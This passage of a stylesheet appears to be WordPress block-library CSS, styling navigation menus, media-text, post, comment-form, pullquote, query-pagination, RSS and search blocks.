  clip:rect(0, 0, 0, 0);
  border:0;
}
.wp-block-media-text.is-image-fill-element>.wp-block-media-text__media{
  height:100%;
  min-height:250px;
  position:relative;
}

.wp-block-media-text.is-image-fill-element>.wp-block-media-text__media>a{
  display:block;
  height:100%;
}

.wp-block-media-text.is-image-fill-element>.wp-block-media-text__media img{
  height:100%;
  object-fit:cover;
  position:absolute;
  width:100%;
}
@media (max-width:600px){
  .wp-block-media-text.is-stacked-on-mobile{
    grid-template-columns:100% !important;
  }
  .wp-block-media-text.is-stacked-on-mobile>.wp-block-media-text__media{
    grid-column:1;
    grid-row:1;
  }
  .wp-block-media-text.is-stacked-on-mobile>.wp-block-media-text__content{
    grid-column:1;
    grid-row:2;
  }
}
.wp-block-navigation{
  position:relative;
  --navigation-layout-justification-setting:flex-start;
  --navigation-layout-direction:row;
  --navigation-layout-wrap:wrap;
  --navigation-layout-justify:flex-start;
  --navigation-layout-align:center;
}
.wp-block-navigation ul{
  margin-bottom:0;
  margin-left:0;
  margin-top:0;
  padding-left:0;
}
.wp-block-navigation ul,.wp-block-navigation ul li{
  list-style:none;
  padding:0;
}
.wp-block-navigation .wp-block-navigation-item{
  align-items:center;
  display:flex;
  position:relative;
}
.wp-block-navigation .wp-block-navigation-item .wp-block-navigation__submenu-container:empty{
  display:none;
}
.wp-block-navigation .wp-block-navigation-item__content{
  display:block;
}
.wp-block-navigation .wp-block-navigation-item__content.wp-block-navigation-item__content{
  color:inherit;
}
.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content,.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:active,.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:focus{
  text-decoration:underline;
}
.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content,.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:active,.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:focus{
  text-decoration:line-through;
}
.wp-block-navigation :where(a),.wp-block-navigation :where(a:active),.wp-block-navigation :where(a:focus){
  text-decoration:none;
}
.wp-block-navigation .wp-block-navigation__submenu-icon{
  align-self:center;
  background-color:inherit;
  border:none;
  color:currentColor;
  display:inline-block;
  font-size:inherit;
  height:.6em;
  line-height:0;
  margin-left:.25em;
  padding:0;
  width:.6em;
}
.wp-block-navigation .wp-block-navigation__submenu-icon svg{
  display:inline-block;
  stroke:currentColor;
  height:inherit;
  margin-top:.075em;
  width:inherit;
}
.wp-block-navigation.is-vertical{
  --navigation-layout-direction:column;
  --navigation-layout-justify:initial;
  --navigation-layout-align:flex-start;
}
.wp-block-navigation.no-wrap{
  --navigation-layout-wrap:nowrap;
}
.wp-block-navigation.items-justified-center{
  --navigation-layout-justification-setting:center;
  --navigation-layout-justify:center;
}
.wp-block-navigation.items-justified-center.is-vertical{
  --navigation-layout-align:center;
}
.wp-block-navigation.items-justified-right{
  --navigation-layout-justification-setting:flex-end;
  --navigation-layout-justify:flex-end;
}
.wp-block-navigation.items-justified-right.is-vertical{
  --navigation-layout-align:flex-end;
}
.wp-block-navigation.items-justified-space-between{
  --navigation-layout-justification-setting:space-between;
  --navigation-layout-justify:space-between;
}

.wp-block-navigation .has-child .wp-block-navigation__submenu-container{
  align-items:normal;
  background-color:inherit;
  color:inherit;
  display:flex;
  flex-direction:column;
  height:0;
  left:-1px;
  opacity:0;
  overflow:hidden;
  position:absolute;
  top:100%;
  visibility:hidden;
  width:0;
  z-index:2;
}
@media not (prefers-reduced-motion){
  .wp-block-navigation .has-child .wp-block-navigation__submenu-container{
    transition:opacity .1s linear;
  }
}
.wp-block-navigation .has-child .wp-block-navigation__submenu-container>.wp-block-navigation-item>.wp-block-navigation-item__content{
  display:flex;
  flex-grow:1;
}
.wp-block-navigation .has-child .wp-block-navigation__submenu-container>.wp-block-navigation-item>.wp-block-navigation-item__content .wp-block-navigation__submenu-icon{
  margin-left:auto;
  margin-right:0;
}
.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation-item__content{
  margin:0;
}
@media (min-width:782px){
  .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{
    left:100%;
    top:-1px;
  }
  .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before{
    background:#0000;
    content:"";
    display:block;
    height:100%;
    position:absolute;
    right:100%;
    width:.5em;
  }
  .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-icon{
    margin-right:.25em;
  }
  .wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-icon svg{
    transform:rotate(-90deg);
  }
}
.wp-block-navigation .has-child .wp-block-navigation-submenu__toggle[aria-expanded=true]~.wp-block-navigation__submenu-container,.wp-block-navigation .has-child:not(.open-on-click):hover>.wp-block-navigation__submenu-container,.wp-block-navigation .has-child:not(.open-on-click):not(.open-on-hover-click):focus-within>.wp-block-navigation__submenu-container{
  height:auto;
  min-width:200px;
  opacity:1;
  overflow:visible;
  visibility:visible;
  width:auto;
}

.wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container{
  left:0;
  top:100%;
}
@media (min-width:782px){
  .wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{
    left:100%;
    top:0;
  }
}

.wp-block-navigation-submenu{
  display:flex;
  position:relative;
}
.wp-block-navigation-submenu .wp-block-navigation__submenu-icon svg{
  stroke:currentColor;
}

button.wp-block-navigation-item__content{
  background-color:initial;
  border:none;
  color:currentColor;
  font-family:inherit;
  font-size:inherit;
  font-style:inherit;
  font-weight:inherit;
  letter-spacing:inherit;
  line-height:inherit;
  text-align:left;
  text-transform:inherit;
}

.wp-block-navigation-submenu__toggle{
  cursor:pointer;
}

.wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle{
  padding-left:0;
  padding-right:.85em;
}
.wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle+.wp-block-navigation__submenu-icon{
  margin-left:-.6em;
  pointer-events:none;
}

.wp-block-navigation-item.open-on-click button.wp-block-navigation-item__content:not(.wp-block-navigation-submenu__toggle){
  padding:0;
}
.wp-block-navigation .wp-block-page-list,.wp-block-navigation__container,.wp-block-navigation__responsive-close,.wp-block-navigation__responsive-container,.wp-block-navigation__responsive-container-content,.wp-block-navigation__responsive-dialog{
  gap:inherit;
}
:where(.wp-block-navigation.has-background .wp-block-navigation-item a:not(.wp-element-button)),:where(.wp-block-navigation.has-background .wp-block-navigation-submenu a:not(.wp-element-button)){
  padding:.5em 1em;
}

:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-item a:not(.wp-element-button)),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-submenu a:not(.wp-element-button)),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-submenu button.wp-block-navigation-item__content),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-pages-list__item button.wp-block-navigation-item__content){
  padding:.5em 1em;
}
.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container{
  left:auto;
  right:0;
}
.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{
  left:-1px;
  right:-1px;
}
@media (min-width:782px){
  .wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{
    left:auto;
    right:100%;
  }
}

.wp-block-navigation:not(.has-background) .wp-block-navigation__submenu-container{
  background-color:#fff;
  border:1px solid #00000026;
}

.wp-block-navigation.has-background .wp-block-navigation__submenu-container{
  background-color:inherit;
}

.wp-block-navigation:not(.has-text-color) .wp-block-navigation__submenu-container{
  color:#000;
}

.wp-block-navigation__container{
  align-items:var(--navigation-layout-align, initial);
  display:flex;
  flex-direction:var(--navigation-layout-direction, initial);
  flex-wrap:var(--navigation-layout-wrap, wrap);
  justify-content:var(--navigation-layout-justify, initial);
  list-style:none;
  margin:0;
  padding-left:0;
}
.wp-block-navigation__container .is-responsive{
  display:none;
}

.wp-block-navigation__container:only-child,.wp-block-page-list:only-child{
  flex-grow:1;
}
@keyframes overlay-menu__fade-in-animation{
  0%{
    opacity:0;
    transform:translateY(.5em);
  }
  to{
    opacity:1;
    transform:translateY(0);
  }
}
.wp-block-navigation__responsive-container{
  bottom:0;
  display:none;
  left:0;
  position:fixed;
  right:0;
  top:0;
}
.wp-block-navigation__responsive-container :where(.wp-block-navigation-item a){
  color:inherit;
}
.wp-block-navigation__responsive-container .wp-block-navigation__responsive-container-content{
  align-items:var(--navigation-layout-align, initial);
  display:flex;
  flex-direction:var(--navigation-layout-direction, initial);
  flex-wrap:var(--navigation-layout-wrap, wrap);
  justify-content:var(--navigation-layout-justify, initial);
}
.wp-block-navigation__responsive-container:not(.is-menu-open.is-menu-open){
  background-color:inherit !important;
  color:inherit !important;
}
.wp-block-navigation__responsive-container.is-menu-open{
  background-color:inherit;
  display:flex;
  flex-direction:column;
  overflow:auto;
  padding:clamp(1rem, var(--wp--style--root--padding-top), 20rem) clamp(1rem, var(--wp--style--root--padding-right), 20rem) clamp(1rem, var(--wp--style--root--padding-bottom), 20rem) clamp(1rem, var(--wp--style--root--padding-left), 20rem);
  z-index:100000;
}
@media not (prefers-reduced-motion){
  .wp-block-navigation__responsive-container.is-menu-open{
    animation:overlay-menu__fade-in-animation .1s ease-out;
    animation-fill-mode:forwards;
  }
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content{
  align-items:var(--navigation-layout-justification-setting, inherit);
  display:flex;
  flex-direction:column;
  flex-wrap:nowrap;
  overflow:visible;
  padding-top:calc(2rem + 24px);
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-page-list{
  justify-content:flex-start;
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-icon{
  display:none;
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .has-child .wp-block-navigation__submenu-container{
  border:none;
  height:auto;
  min-width:200px;
  opacity:1;
  overflow:initial;
  padding-left:2rem;
  padding-right:2rem;
  position:static;
  visibility:visible;
  width:auto;
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container{
  gap:inherit;
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container{
  padding-top:var(--wp--style--block-gap, 2em);
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation-item__content{
  padding:0;
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation-item,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-page-list{
  align-items:var(--navigation-layout-justification-setting, initial);
  display:flex;
  flex-direction:column;
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation-item,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation-item .wp-block-navigation__submenu-container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open .wp-block-page-list{
  background:#0000 !important;
  color:inherit !important;
}
.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container{
  left:auto;
  right:auto;
}
@media (min-width:600px){
  .wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open){
    background-color:inherit;
    display:block;
    position:relative;
    width:100%;
    z-index:auto;
  }
  .wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open) .wp-block-navigation__responsive-container-close{
    display:none;
  }
  .wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container{
    left:0;
  }
}

.wp-block-navigation:not(.has-background) .wp-block-navigation__responsive-container.is-menu-open{
  background-color:#fff;
}

.wp-block-navigation:not(.has-text-color) .wp-block-navigation__responsive-container.is-menu-open{
  color:#000;
}

.wp-block-navigation__toggle_button_label{
  font-size:1rem;
  font-weight:700;
}

.wp-block-navigation__responsive-container-close,.wp-block-navigation__responsive-container-open{
  background:#0000;
  border:none;
  color:currentColor;
  cursor:pointer;
  margin:0;
  padding:0;
  text-transform:inherit;
  vertical-align:middle;
}
.wp-block-navigation__responsive-container-close svg,.wp-block-navigation__responsive-container-open svg{
  fill:currentColor;
  display:block;
  height:24px;
  pointer-events:none;
  width:24px;
}

.wp-block-navigation__responsive-container-open{
  display:flex;
}
.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open{
  font-family:inherit;
  font-size:inherit;
  font-weight:inherit;
}
@media (min-width:600px){
  .wp-block-navigation__responsive-container-open:not(.always-shown){
    display:none;
  }
}

.wp-block-navigation__responsive-container-close{
  position:absolute;
  right:0;
  top:0;
  z-index:2;
}
.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close{
  font-family:inherit;
  font-size:inherit;
  font-weight:inherit;
}

.wp-block-navigation__responsive-close{
  width:100%;
}
.has-modal-open .wp-block-navigation__responsive-close{
  margin-left:auto;
  margin-right:auto;
  max-width:var(--wp--style--global--wide-size, 100%);
}
.wp-block-navigation__responsive-close:focus{
  outline:none;
}

.is-menu-open .wp-block-navigation__responsive-close,.is-menu-open .wp-block-navigation__responsive-container-content,.is-menu-open .wp-block-navigation__responsive-dialog{
  box-sizing:border-box;
}

.wp-block-navigation__responsive-dialog{
  position:relative;
}

.has-modal-open .admin-bar .is-menu-open .wp-block-navigation__responsive-dialog{
  margin-top:46px;
}
@media (min-width:782px){
  .has-modal-open .admin-bar .is-menu-open .wp-block-navigation__responsive-dialog{
    margin-top:32px;
  }
}

html.has-modal-open{
  overflow:hidden;
}

.wp-block-navigation .wp-block-navigation-item__label{
  overflow-wrap:break-word;
}
.wp-block-navigation .wp-block-navigation-item__description{
  display:none;
}

.link-ui-tools{
  border-top:1px solid #f0f0f0;
  padding:8px;
}

.link-ui-block-inserter{
  padding-top:8px;
}

.link-ui-block-inserter__back{
  margin-left:8px;
  text-transform:uppercase;
}

.wp-block-navigation .wp-block-page-list{
  align-items:var(--navigation-layout-align, initial);
  background-color:inherit;
  display:flex;
  flex-direction:var(--navigation-layout-direction, initial);
  flex-wrap:var(--navigation-layout-wrap, wrap);
  justify-content:var(--navigation-layout-justify, initial);
}
.wp-block-navigation .wp-block-navigation-item{
  background-color:inherit;
}

.wp-block-page-list{
  box-sizing:border-box;
}

.is-small-text{
  font-size:.875em;
}

.is-regular-text{
  font-size:1em;
}

.is-large-text{
  font-size:2.25em;
}

.is-larger-text{
  font-size:3em;
}

.has-drop-cap:not(:focus):first-letter{
  float:left;
  font-size:8.4em;
  font-style:normal;
  font-weight:100;
  line-height:.68;
  margin:.05em .1em 0 0;
  text-transform:uppercase;
}

body.rtl .has-drop-cap:not(:focus):first-letter{
  float:none;
  margin-left:.1em;
}

p.has-drop-cap.has-background{
  overflow:hidden;
}

:root :where(p.has-background){
  padding:1.25em 2.375em;
}

:where(p.has-text-color:not(.has-link-color)) a{
  color:inherit;
}

p.has-text-align-left[style*="writing-mode:vertical-lr"],p.has-text-align-right[style*="writing-mode:vertical-rl"]{
  rotate:180deg;
}

.wp-block-post-author{
  box-sizing:border-box;
  display:flex;
  flex-wrap:wrap;
}
.wp-block-post-author__byline{
  font-size:.5em;
  margin-bottom:0;
  margin-top:0;
  width:100%;
}
.wp-block-post-author__avatar{
  margin-right:1em;
}
.wp-block-post-author__bio{
  font-size:.7em;
  margin-bottom:.7em;
}
.wp-block-post-author__content{
  flex-basis:0;
  flex-grow:1;
}
.wp-block-post-author__name{
  margin:0;
}

.wp-block-post-author-biography{
  box-sizing:border-box;
}

:where(.wp-block-post-comments-form) input:not([type=submit]),:where(.wp-block-post-comments-form) textarea{
  border:1px solid #949494;
  font-family:inherit;
  font-size:1em;
}
:where(.wp-block-post-comments-form) input:where(:not([type=submit]):not([type=checkbox])),:where(.wp-block-post-comments-form) textarea{
  padding:calc(.667em + 2px);
}

.wp-block-post-comments-form{
  box-sizing:border-box;
}
.wp-block-post-comments-form[style*=font-weight] :where(.comment-reply-title){
  font-weight:inherit;
}
.wp-block-post-comments-form[style*=font-family] :where(.comment-reply-title){
  font-family:inherit;
}
.wp-block-post-comments-form[class*=-font-size] :where(.comment-reply-title),.wp-block-post-comments-form[style*=font-size] :where(.comment-reply-title){
  font-size:inherit;
}
.wp-block-post-comments-form[style*=line-height] :where(.comment-reply-title){
  line-height:inherit;
}
.wp-block-post-comments-form[style*=font-style] :where(.comment-reply-title){
  font-style:inherit;
}
.wp-block-post-comments-form[style*=letter-spacing] :where(.comment-reply-title){
  letter-spacing:inherit;
}
.wp-block-post-comments-form :where(input[type=submit]){
  box-shadow:none;
  cursor:pointer;
  display:inline-block;
  overflow-wrap:break-word;
  text-align:center;
}
.wp-block-post-comments-form .comment-form input:not([type=submit]):not([type=checkbox]):not([type=hidden]),.wp-block-post-comments-form .comment-form textarea{
  box-sizing:border-box;
  display:block;
  width:100%;
}
.wp-block-post-comments-form .comment-form-author label,.wp-block-post-comments-form .comment-form-email label,.wp-block-post-comments-form .comment-form-url label{
  display:block;
  margin-bottom:.25em;
}
.wp-block-post-comments-form .comment-form-cookies-consent{
  display:flex;
  gap:.25em;
}
.wp-block-post-comments-form .comment-form-cookies-consent #wp-comment-cookies-consent{
  margin-top:.35em;
}
.wp-block-post-comments-form .comment-reply-title{
  margin-bottom:0;
}
.wp-block-post-comments-form .comment-reply-title :where(small){
  font-size:var(--wp--preset--font-size--medium, smaller);
  margin-left:.5em;
}

.wp-block-post-comments-count{
  box-sizing:border-box;
}

.wp-block-post-content{
  display:flow-root;
}

.wp-block-post-comments-link,.wp-block-post-date{
  box-sizing:border-box;
}

:where(.wp-block-post-excerpt){
  box-sizing:border-box;
  margin-bottom:var(--wp--style--block-gap);
  margin-top:var(--wp--style--block-gap);
}

.wp-block-post-excerpt__excerpt{
  margin-bottom:0;
  margin-top:0;
}

.wp-block-post-excerpt__more-text{
  margin-bottom:0;
  margin-top:var(--wp--style--block-gap);
}

.wp-block-post-excerpt__more-link{
  display:inline-block;
}

.wp-block-post-featured-image{
  margin-left:0;
  margin-right:0;
}
.wp-block-post-featured-image a{
  display:block;
  height:100%;
}
.wp-block-post-featured-image :where(img){
  box-sizing:border-box;
  height:auto;
  max-width:100%;
  vertical-align:bottom;
  width:100%;
}
.wp-block-post-featured-image.alignfull img,.wp-block-post-featured-image.alignwide img{
  width:100%;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim{
  background-color:#000;
  inset:0;
  position:absolute;
}
.wp-block-post-featured-image{
  position:relative;
}

.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-gradient{
  background-color:initial;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-0{
  opacity:0;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-10{
  opacity:.1;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-20{
  opacity:.2;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-30{
  opacity:.3;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-40{
  opacity:.4;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-50{
  opacity:.5;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-60{
  opacity:.6;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-70{
  opacity:.7;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-80{
  opacity:.8;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-90{
  opacity:.9;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-100{
  opacity:1;
}
.wp-block-post-featured-image:where(.alignleft,.alignright){
  width:100%;
}

.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous{
  display:inline-block;
  margin-right:1ch;
}
.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-previous:not(.is-arrow-chevron){
  transform:scaleX(1);
}
.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next{
  display:inline-block;
  margin-left:1ch;
}
.wp-block-post-navigation-link .wp-block-post-navigation-link__arrow-next:not(.is-arrow-chevron){
  transform:scaleX(1);
}
.wp-block-post-navigation-link.has-text-align-left[style*="writing-mode: vertical-lr"],.wp-block-post-navigation-link.has-text-align-right[style*="writing-mode: vertical-rl"]{
  rotate:180deg;
}

.wp-block-post-terms{
  box-sizing:border-box;
}
.wp-block-post-terms .wp-block-post-terms__separator{
  white-space:pre-wrap;
}

.wp-block-post-time-to-read,.wp-block-post-title{
  box-sizing:border-box;
}

.wp-block-post-title{
  word-break:break-word;
}
.wp-block-post-title :where(a){
  display:inline-block;
  font-family:inherit;
  font-size:inherit;
  font-style:inherit;
  font-weight:inherit;
  letter-spacing:inherit;
  line-height:inherit;
  text-decoration:inherit;
}

.wp-block-post-author-name,.wp-block-preformatted{
  box-sizing:border-box;
}

.wp-block-preformatted{
  white-space:pre-wrap;
}

:where(.wp-block-preformatted.has-background){
  padding:1.25em 2.375em;
}

.wp-block-pullquote{
  box-sizing:border-box;
  margin:0 0 1em;
  overflow-wrap:break-word;
  padding:4em 0;
  text-align:center;
}
.wp-block-pullquote blockquote,.wp-block-pullquote cite,.wp-block-pullquote p{
  color:inherit;
}
.wp-block-pullquote blockquote{
  margin:0;
}
.wp-block-pullquote p{
  margin-top:0;
}
.wp-block-pullquote p:last-child{
  margin-bottom:0;
}
.wp-block-pullquote.alignleft,.wp-block-pullquote.alignright{
  max-width:420px;
}
.wp-block-pullquote cite,.wp-block-pullquote footer{
  position:relative;
}
.wp-block-pullquote .has-text-color a{
  color:inherit;
}

.wp-block-pullquote.has-text-align-left blockquote{
  text-align:left;
}

.wp-block-pullquote.has-text-align-right blockquote{
  text-align:right;
}

.wp-block-pullquote.has-text-align-center blockquote{
  text-align:center;
}

.wp-block-pullquote.is-style-solid-color{
  border:none;
}
.wp-block-pullquote.is-style-solid-color blockquote{
  margin-left:auto;
  margin-right:auto;
  max-width:60%;
}
.wp-block-pullquote.is-style-solid-color blockquote p{
  font-size:2em;
  margin-bottom:0;
  margin-top:0;
}
.wp-block-pullquote.is-style-solid-color blockquote cite{
  font-style:normal;
  text-transform:none;
}

.wp-block-pullquote cite{
  color:inherit;
  display:block;
}

.wp-block-post-template{
  box-sizing:border-box;
  list-style:none;
  margin-bottom:0;
  margin-top:0;
  max-width:100%;
  padding:0;
}
.wp-block-post-template.is-flex-container{
  display:flex;
  flex-direction:row;
  flex-wrap:wrap;
  gap:1.25em;
}
.wp-block-post-template.is-flex-container>li{
  margin:0;
  width:100%;
}
@media (min-width:600px){
  .wp-block-post-template.is-flex-container.is-flex-container.columns-2>li{
    width:calc(50% - .625em);
  }
  .wp-block-post-template.is-flex-container.is-flex-container.columns-3>li{
    width:calc(33.33333% - .83333em);
  }
  .wp-block-post-template.is-flex-container.is-flex-container.columns-4>li{
    width:calc(25% - .9375em);
  }
  .wp-block-post-template.is-flex-container.is-flex-container.columns-5>li{
    width:calc(20% - 1em);
  }
  .wp-block-post-template.is-flex-container.is-flex-container.columns-6>li{
    width:calc(16.66667% - 1.04167em);
  }
}

@media (max-width:600px){
  .wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid{
    grid-template-columns:1fr;
  }
}
.wp-block-post-template-is-layout-constrained>li>.alignright,.wp-block-post-template-is-layout-flow>li>.alignright{
  float:right;
  margin-inline-end:0;
  margin-inline-start:2em;
}

.wp-block-post-template-is-layout-constrained>li>.alignleft,.wp-block-post-template-is-layout-flow>li>.alignleft{
  float:left;
  margin-inline-end:2em;
  margin-inline-start:0;
}

.wp-block-post-template-is-layout-constrained>li>.aligncenter,.wp-block-post-template-is-layout-flow>li>.aligncenter{
  margin-inline-end:auto;
  margin-inline-start:auto;
}

.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-next:last-of-type{
  margin-inline-start:auto;
}
.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-previous:first-child{
  margin-inline-end:auto;
}
.wp-block-query-pagination .wp-block-query-pagination-previous-arrow{
  display:inline-block;
  margin-right:1ch;
}
.wp-block-query-pagination .wp-block-query-pagination-previous-arrow:not(.is-arrow-chevron){
  transform:scaleX(1);
}
.wp-block-query-pagination .wp-block-query-pagination-next-arrow{
  display:inline-block;
  margin-left:1ch;
}
.wp-block-query-pagination .wp-block-query-pagination-next-arrow:not(.is-arrow-chevron){
  transform:scaleX(1);
}
.wp-block-query-pagination.aligncenter{
  justify-content:center;
}

.wp-block-query-title,.wp-block-query-total,.wp-block-quote{
  box-sizing:border-box;
}

.wp-block-quote{
  overflow-wrap:break-word;
}
.wp-block-quote.is-large:where(:not(.is-style-plain)),.wp-block-quote.is-style-large:where(:not(.is-style-plain)){
  margin-bottom:1em;
  padding:0 1em;
}
.wp-block-quote.is-large:where(:not(.is-style-plain)) p,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) p{
  font-size:1.5em;
  font-style:italic;
  line-height:1.6;
}
.wp-block-quote.is-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-large:where(:not(.is-style-plain)) footer,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) footer{
  font-size:1.125em;
  text-align:right;
}
.wp-block-quote>cite{
  display:block;
}

.wp-block-read-more{
  display:block;
  width:fit-content;
}
.wp-block-read-more:where(:not([style*=text-decoration])){
  text-decoration:none;
}
.wp-block-read-more:where(:not([style*=text-decoration])):active,.wp-block-read-more:where(:not([style*=text-decoration])):focus{
  text-decoration:none;
}

ul.wp-block-rss.alignleft{
  margin-right:2em;
}
ul.wp-block-rss.alignright{
  margin-left:2em;
}
ul.wp-block-rss.is-grid{
  display:flex;
  flex-wrap:wrap;
  padding:0;
}
ul.wp-block-rss.is-grid li{
  margin:0 1em 1em 0;
  width:100%;
}
@media (min-width:600px){
  ul.wp-block-rss.columns-2 li{
    width:calc(50% - 1em);
  }
  ul.wp-block-rss.columns-3 li{
    width:calc(33.33333% - 1em);
  }
  ul.wp-block-rss.columns-4 li{
    width:calc(25% - 1em);
  }
  ul.wp-block-rss.columns-5 li{
    width:calc(20% - 1em);
  }
  ul.wp-block-rss.columns-6 li{
    width:calc(16.66667% - 1em);
  }
}

.wp-block-rss__item-author,.wp-block-rss__item-publish-date{
  display:block;
  font-size:.8125em;
}

.wp-block-rss{
  box-sizing:border-box;
  list-style:none;
  padding:0;
}

.wp-block-search__button{
  margin-left:10px;
  word-break:normal;
}
.wp-block-search__button.has-icon{
  line-height:0;
}
.wp-block-search__button svg{
  height:1.25em;
  min-height:24px;
  min-width:24px;
  width:1.25em;
  fill:currentColor;
  vertical-align:text-bottom;
}

:where(.wp-block-search__button){
  border:1px solid #ccc;
  padding:6px 10px;
}

.wp-block-search__inside-wrapper{
  display:flex;
  flex:auto;
  flex-wrap:nowrap;
  max-width:100%;
}

.wp-block-search__label{
  width:100%;
}

.wp-block-search__input{
  appearance:none;
  border:1px solid #949494;
  flex-grow:1;
  margin-left:0;
  margin-right:0;
  min-width:3rem;
  padding:8px;
  text-decoration:unset !important;
}

.wp-block-search.wp-block-search__button-only .wp-block-search__button{
  box-sizing:border-box;
  display:flex;
  flex-shrink:0;
  justify-content:center;
  margin-left:0;
  max-width:100%;
}
.wp-block-search.wp-block-search__button-only .wp-block-search__inside-wrapper{
  min-width:0 !important;
  transition-property:width;
}
.wp-block-search.wp-block-search__button-only .wp-block-search__input{
  flex-basis:100%;
  transition-duration:.3s;
}
